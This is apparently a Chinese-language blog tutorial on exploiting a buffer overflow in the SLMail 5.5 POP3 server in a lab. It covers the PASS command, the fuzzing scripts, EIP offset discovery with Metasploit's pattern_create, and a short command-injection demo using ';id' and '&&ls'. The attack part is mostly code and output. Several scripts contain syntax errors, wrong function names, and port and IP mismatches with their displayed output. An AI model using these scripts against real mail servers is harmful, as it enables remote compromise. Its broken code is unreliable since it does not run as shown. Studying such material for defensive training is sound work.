缓冲区溢出
2016-05-17 23:10
260 查看
root@kali:~# ls a.sh b.sh 公共 模板 视频 图片 文档 下载 音乐 桌面 root@kali:~# cat a.sh #!/bin/bash echo $1 root@kali:~# /a.sh adadadadadadd adadadadadadd root@kali:~# /a.sh pwd pwd root@kali:~# /a.sh ;pwd /root root@kali:~# /a.sh ;id uid=0(root) gid=0(root) 组=0(root) root@kali:~# /a.sh ;ls a.sh b.sh 公共 模板 视频 图片 文档 下载 音乐 桌面 root@kali:~# /a.sh &&ls a.sh b.sh 公共 模板 视频 图片 文档 下载 音乐 桌面 root@kali:~# /a.sh &ls [1] 1699 a.sh b.sh 公共 模板 视频 图片 文档 下载 音乐 桌面 [1]+ 已完成 ./a.sh
管道符|,&,&&,‘ ’都可以导致这种问题;
先讲一下WINDOWS 缓冲区溢出
Winmail Mail Server既可以作为局域网邮件服务器、互联网邮件服务器,也可以作为拨号ISDN、ADSL宽带、FTTB、有线通(CableModem) 等接入方式的邮件服务器和邮件网关。
lmmunityDebugger_1_85_setup.exe能够加快编写利用安全漏洞代码、分析恶意软件和二进制文件逆向工程等过程的速度
mona.py 一个可以自动构造Rop Chain而且集成了metasploit计算偏移量功能的强大挖洞辅助插件
记住这个IP地址;
端口开放成功
服务启用成功;
安装lmmunityDebugger,傻瓜式操作,不说了
把mona.py放进这个目录下
这个时候,把防火墙关掉,或者打开25,110端口
root@kali:~# nc 192.168.1.119 25 220 lab.com SMTP Server SLMail 5.5.0.4433 Ready ESMTP spoken here helo 250 lab.com mail from 500 Syntax error, command unrecognized exit 500 Syntax error, command unrecognized quit 221 lab.com Service closing transmission channel
root@kali:~# nc 192.168.1.119 110 +OK POP3 server lab.com ready <00001.589347@lab.com> USER yuanfh +OK yuanfh welcome here -ERR invalid password quit +OK POP3 server lab.com signing off
root@kali:~# nc 192.168.1.119 110 +OK POP3 server lab.com ready <00003.1700925@lab.com> USER test +OK test welcome here pass aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
这里如果我们一直手动的输入内容,会很繁琐,所以使用一个脚本会更方便
#!/usr/bin/python import socket s = socket.socket(socket.AF_INEF.socket.SOCK_STREAM) try: print "\nSending evil buffer..." s.connect(('192.168.20.32',110)) data = s.recv(1024) print data s.send('USER yuanfu'+'\r\n') data = s.rec(1024) print data s.send('PASS test\r\n') data = s.recv(1024) print data s.close() print "\nDone!" except: print "Could not connect to POP3!"
root@kali:~# ./01.py Sending evil buffer +OK POP3 server lab.com ready <00003.1700925@lab.com> +OK yuanfu welcome here -ERR invalid password Done!
了解RFC,RFC(Request For Comments)-意即“请求评议”,包含了关于Internet的几乎所有重要的文字资料。如果你想成为网络方面的专家,那么RFC无疑是最重要也是最经常需要用到的资料之一,所以RFC享有网络知识圣经之美誉。
模糊测试pass命令接收到大量数据时是否溢出。
第二个脚本,不断的增大对目标服务器增大的数据量;EIP寄存器存放下一条指令的地址
#!/usr/bin/python import socket buffer=["A"] counter=100 while len(buffer) <= 30: buffer.append("A"*counter) counter=counter+200 for string in buffer: print "Fuzzing PASS with %s bytes" % len(string) s = socket.socket(socket.AF_INET,socket.SOCK_STREAM) connect = s.connect(('192.168.20.32',100)) s.recv(1024) s.send('USER test'+'\r\n') s.recv(1024) s.send('PASS' + string + '\r\n') s.send('QUIT\r\n') s.close()
运行
root@kali:~# ./02 .py Fuzzing PASS with 1 bytes Fuzzing PASS with 100 bytes Fuzzing PASS with 300 bytes Fuzzing PASS with 500 bytes Fuzzing PASS with 700 bytes Fuzzing PASS with 900 bytes Fuzzing PASS with 1100 bytes Fuzzing PASS with 100 bytes Fuzzing PASS with 1300 bytes Fuzzing PASS with 1500 bytes Fuzzing PASS with 1700 bytes Fuzzing PASS with 1900 bytes Fuzzing PASS with 2100 bytes Fuzzing PASS with 2300 bytes Fuzzing PASS with 2500 bytes Fuzzing PASS with 2700 bytes Fuzzing PASS with 2900 bytes Fuzzing PASS with 3100 bytes Traceback (most recent call last): File "./02.py", line 13, in <module> connect = s.connect(('192.168.1.119',110)) File "/usr/lib/python2.7/socket.py", line 224, in meth return getattr(self._sock,name)(*args) socket.error: [Errno 111] Connection refused
点击播放按钮;这个时候运行脚本;
程序已经无法正常工作;2700个字符实现EIP寄存器溢出
所以我们可以发送大量的数据包,修改EIP的地址,指向一个内存地址空间,这这个空间添加后门,如果实现,就可以控制目标服务器了。
我们在使用一个脚本
直接发2700个数据包;很快结束;
再发26000个数据包,很快结束,不过程序没有挂;EIP没有被填满;
root@kali:~# ./03.py Sending evil buffer Done!
#!/usr/bin/python import socket s = socket.socket(socket.AF_INEF.socket.SOCK_STREAM) buffer = "A" * 2700 try: print "\nSending evil buffer..." s.connect(('192.168.20.32',110)) data = s.recv(1024) s.send('USER test'+'\r\n') data = s.rec(1024) s.send('PASS' + buffer 'test\r\n') print "\nDone!" except: print "Could not connect to POP3!"
找到精确溢出的4个字节 ,使用二分法(笨,慢)或者是唯一字串法,生成2700个字符,四个字符一组,发送唯一的字符串;
我们使用kali里面自带的工具;
usr/share/metasloit-framework/tools/pattern_create.rb 2700
root@kali:~# cd usr/share/metasloit-framework/tools root@kali:usr/share/metasloit-framework/tools# ./pattern_create.rb 2700 root@kali:usr/share/metasloit-framework/tools# ./pattern_create.rb 39694438 [*] Exact match at offset 2606 root@kali:usr/share/metasloit-framework/tools# 8Di9
把字符串复制粘贴到脚本里边;
检查服务是否开启,然后运行脚本;
内存地址与显示的地址相反;
所以实际上顺序是 38 44 69 39(16进制);
ASCLL转码后就是 8 D i 9
第五个脚本;
运行脚本;
写入成功;如果我们写入的不是20个C,是shellcode恶意代码,呵呵。
相关文章推荐
- 步步学习之用python实战机器学习1-kNN (K-NearestNeighbors)算法(a)
- lua 函数调用1 -- 闭包详解和C调用
- tomcat部署多个项目多个接口配置
- OpenSSL加密系统简介
- 第十二周 5.16 --- 5.22
- 练习题之Wait/Notify
- HDU 1257 最少拦截系统
- Hadoop经典案例Spark实现(七)——日志分析:分析非结构化文件
- 实例讲解linux用户,组,文件目录权限
- 牛客网算法学习记录-按层遍历树
- Changing DSPLink Memory Map
- RemoteViews之pendingIntent的理解
- ●导出excel(office组件)
- leetcode 189. Rotate Array
- 如何读取xml配置文件的内容
- 【Android】20、活动的启动模式——singleTop
- Lua API 小记2(lua值, 栈解释)
- RemoteViews之Notification和Appwidget
- const对象默认是static的,而不是extern的
- Java多线程中,Join和Interrupt()方法的使用